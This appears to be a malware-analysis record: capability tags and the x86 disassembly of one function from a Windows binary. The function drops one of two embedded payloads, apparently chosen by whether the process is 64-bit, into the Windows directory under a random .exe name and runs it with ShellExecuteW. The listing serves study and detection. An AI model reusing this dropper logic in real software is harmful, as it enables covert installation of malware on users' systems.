Function at 0x401260
Capabilities:
Check for time delay via gettickcount
Check os version
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc28
push ebx
push esi
push edi
push 0x15e
lea eax, [ebp - 0xc28]
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x114
lea eax, [ebp - 0x138]
push esi
push edi
push eax
call fcn.004023f0
add esp, 0xc
mov dword [ebp - 0x138], esi
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov esi, 0x2bc
lea eax, [ebp - 0x6b0]
push esi
xor ebx, ebx
cmp dword [ebp - 0x134], 5
push edi
push eax
sete bl
call fcn.004023f0
add esp, 0xc
lea eax, [ebp - 0x6b0]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
push esi
mov word [ebp - 0x6ac], ax
lea eax, [ebp - 0x3f4]
push edi
push eax
call fcn.004023f0
add esp, 0xc
mov ecx, edi
movzx eax, word [ebp + ecx - 0x6b0]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x3f6], ax
test ax, ax
jne 0x4012f6
lea edi, [ebp - 0x3f4]
sub edi, 2
test ebx, ebx
je 0x401335
xor ebx, ebx
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x40131d
push 0x13
pop ecx
mov esi, 0x410a48
rep movsd dword es:[edi], dword [esi]
jmp 0x40134f
xor ebx, ebx
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x401337
push 7
pop ecx
mov esi, 0x410a94
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00402c68
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
mov esi, ebx
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.00402c47
xor edx, edx
mov ecx, 0xfa
div ecx
mov edi, edx
push edi
call fcn.00402d95
pop ecx
test eax, eax
je 0x40136a
mov word [ebp + esi*2 - 0x24], di
inc esi
cmp esi, 5
jl 0x40136a
lea edi, [ebp - 0x24]
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x401396
mov esi, str..exe
lea edx, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x4013b0
lea edi, [ebp - 0x3f4]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x4013c6
mov ecx, edx
lea eax, [ebp - 0x3f4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor edi, edi
push edi
push 2
push 2
push edi
push edi
push 0x40000000
push eax
call esi
mov ebx, eax
test ebx, ebx
jne 0x401469
push 0x15e
lea eax, [ebp - 0x96c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x96c]
push 2
lea edx, [ecx + 2]
pop ebx
mov ax, word [ecx]
add ecx, ebx
cmp ax, di
jne 0x401422
sub ecx, edx
sar ecx, 1
push 0x56
pop eax
mov word [ebp + ecx*2 - 0x976], ax
mov ecx, edi
movzx eax, word [ebp + ecx - 0x96c]
mov word [ebp + ecx - 0x3f4], ax
add ecx, ebx
test ax, ax
jne 0x40143d
push edi
push ebx
push ebx
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x3f4]
push eax
call esi
mov ebx, eax
push 0x410a28
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, 0x410a38
mov dword [ebp - 0xc], eax
lea edi, [ebp - 0x20]
lea ecx, [ebp - 0x20]
push ecx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4014a9
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 4], 0
lea eax, [ebp - 8]
push 0
push eax
je 0x4014ca
push 0x2aa00
push 0x4127b0
jmp 0x4014d4
push 0x23000
push 0x43d1b0
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
lea eax, [ebp - 0xc28]
push ecx
push ecx
push eax
lea eax, [ebp - 0x3f4]
push eax
push ecx
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10